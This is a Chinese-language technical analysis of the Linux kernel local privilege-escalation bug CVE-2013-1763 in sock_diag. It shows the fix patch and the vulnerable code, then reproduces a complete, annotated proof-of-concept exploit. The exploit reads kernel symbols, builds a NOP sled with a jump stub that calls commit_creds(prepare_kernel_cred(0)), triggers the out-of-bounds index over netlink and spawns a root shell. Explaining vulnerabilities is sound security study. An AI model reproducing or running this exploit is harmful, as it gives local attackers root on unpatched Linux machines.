kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763，影响范围比较广泛，ubuntu，Arch，fedora都受到其影响，漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代码，下面会分析该代码是如何获取root权限的。
首先对CVE-2013-1763这个安全漏洞简单介绍一下。
1. 漏洞描述
在net/core/sock_diag.c中，__sock_diag_rcv_msg函数未对sock_diag_handlers数组传入的下标做边界检查，导致可能越界，进而导致可执行代码的漏洞。没有root权限的用户可以利用该漏洞获取到root权限。
2. 漏洞的影响范围
linux kernel 3.0-3.7.10
3. 漏洞曝光时间
2013/02/19
4. 漏洞产生的原因
首先看一下这个漏洞的patch：
net/core/sock_diag.c View file @ 6e601a5
@@ -121,6 +121,9 @@ static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
+ if (req->sdiag_family >= AF_MAX)
+ return -EINVAL;
+
hndl = sock_diag_lock_handler(req->sdiag_family);
if (hndl == NULL)
err = -ENOENT;
static const inline struct sock_diag_handler *sock_diag_lock_handler(int family)
{
if (sock_diag_handlers[family] == NULL)
request_module("net-pf-%d-proto-%d-type-%d", PF_NETLINK,
NETLINK_SOCK_DIAG, family);
mutex_lock(&sock_diag_table_mutex);
return sock_diag_handlers[family];//这个函数没有对传入的family的值的范围,进行验证,从而造成数组越界.
}
static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh)
{
int err;
struct sock_diag_req *req = NLMSG_DATA(nlh);
struct sock_diag_handler *hndl;
if (nlmsg_len(nlh) < sizeof(*req))
return -EINVAL;
hndl = sock_diag_lock_handler(req->sdiag_family);//这里传入sdiag_family的值,然后返回数组指针sock_diag_handlers[reg->sdiag_family].由于没有做边界判断，那么就可以越界。
if (hndl == NULL)
err = -ENOENT;
else
err = hndl->dump(skb, nlh); //看到这里是不是很激动呢，利用这里可以让它执行我们自己的代码
sock_diag_unlock_handler(hndl);
return err;
}
/*
* quick'n'dirty poc for CVE-2013-1763 SOCK_DIAG bug in kernel 3.3-3.8
* bug found by Spender
* poc by SynQ
*
* hard-coded for 3.5.0-17-generic #28-Ubuntu SMP Tue Oct 9 19:32:08 UTC 2012 i686 i686 i686 GNU/Linux
* using nl_table->hash.rehash_time, index 81
*
* Fedora 18 support added
*
* 2/2013
*/
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <errno.h>
#include <linux/if.h>
#include <linux/filter.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sock_diag.h>
#include <linux/inet_diag.h>
#include <linux/unix_diag.h>
#include <sys/mman.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long sock_diag_handlers, nl_table;
int __attribute__((regparm(3))) //这是指示GCC编译器选用3个寄存器代替堆栈来传递参数。
kernel_code()
{
commit_creds(prepare_kernel_cred(0)); //这行代码执行之后就可以获取root权限，但是这两个函数都是内核函数，必须在内核态执行才有效。
return -1;
}
//这段函数没有使用，用来解释hard code jump[] 为什么是那些数值
int jump_payload_not_used(void *skb, void *nlh)
{
asm volatile (
"mov $kernel_code, %eax\n"
"call *%eax\n"
);
}
unsigned long
get_symbol(char *name) //为了获取内核函数地址
{
FILE *f;
unsigned long addr;
char dummy, sym[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
if (ret == 0) {
fscanf(f, "%s\n", sym);
continue;
}
if (!strcmp(name, sym)) {
printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
int main(int argc, char*argv[])
{
int fd;
unsigned family;
struct {
struct nlmsghdr nlh; //socket协议netlink数据包的格式
struct unix_diag_req r;
} req;
char buf[8192];
//创建一个netlink协议的socket，因为__sock_diag_rcv_msg函数是属于NETLINK_SOCK_DIAG的
if ((fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG)) < 0){
printf("Can't create sock diag socket\n");
return -1;
}
//填充数据包，就是为了最终能够执行到__sock_diag_rcv_msg中去
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = sizeof(req);
req.nlh.nlmsg_type = SOCK_DIAG_BY_FAMILY;
req.nlh.nlmsg_flags = NLM_F_ROOT|NLM_F_MATCH|NLM_F_REQUEST;
req.nlh.nlmsg_seq = 123456;
//req.r.sdiag_family = 89;
req.r.udiag_states = -1;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
if(argc==1){
printf("Run: %s Fedora|Ubuntu\n",argv[0]);
return 0;
}
else if(strcmp(argv[1],"Fedora")==0){
commit_creds = (_commit_creds) get_symbol("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
sock_diag_handlers = get_symbol("sock_diag_handlers");
nl_table = get_symbol("nl_table");
if(!prepare_kernel_cred || !commit_creds || !sock_diag_handlers || !nl_table){
printf("some symbols are not available!\n");
exit(1);
}
family = (nl_table - sock_diag_handlers) / 4;
printf("family=%d\n",family);
req.r.sdiag_family = family;
if(family>255){
printf("nl_table is too far!\n");
exit(1);
}
}
else if(strcmp(argv[1],"Ubuntu")==0){
commit_creds = (_commit_creds) 0xc106bc60;
prepare_kernel_cred = (_prepare_kernel_cred) 0xc106bea0;
req.r.sdiag_family = 81;
}
unsigned long mmap_start, mmap_size;
mmap_start = 0x10000; //选择了一块1MB多的内存区域
mmap_size = 0x120000;
printf("mmapping at 0x%lx, size = 0x%lx\n", mmap_start, mmap_size);
if (mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
printf("mmap fault\n");
exit(1);
}
memset((void*)mmap_start, 0x90, mmap_size); //将其全部填充为0x90，在X86系统中对应的是NOP指令
char jump[] = "\x55\x89\xe5\xb8\x11\x11\x11\x11\xff\xd0\x5d\xc3"; // jump_payload in asm
unsigned long *asd = &jump[4];
*asd = (unsigned long)kernel_code; //使用kernel_code函数的地址替换掉jump[]中的0x11
//将jump这段代码放在mmap内存区域的最后，也就是说只要最后能够跳转到这块区域，就可以执行到jump代码，进而跳转执行kernel_code，因为这块区域中布满了NOP指令。
memcpy( (void*)mmap_start+mmap_size-sizeof(jump), jump, sizeof(jump));
//所有准备工作完成之后，最后在这里发送socket触发这个漏洞
if ( send(fd, &req, sizeof(req), 0) < 0) {
printf("bad send\n");
close(fd);
return -1;
}
printf("uid=%d, euid=%d\n",getuid(), geteuid() );
if(!getuid())
system("/bin/sh");
}
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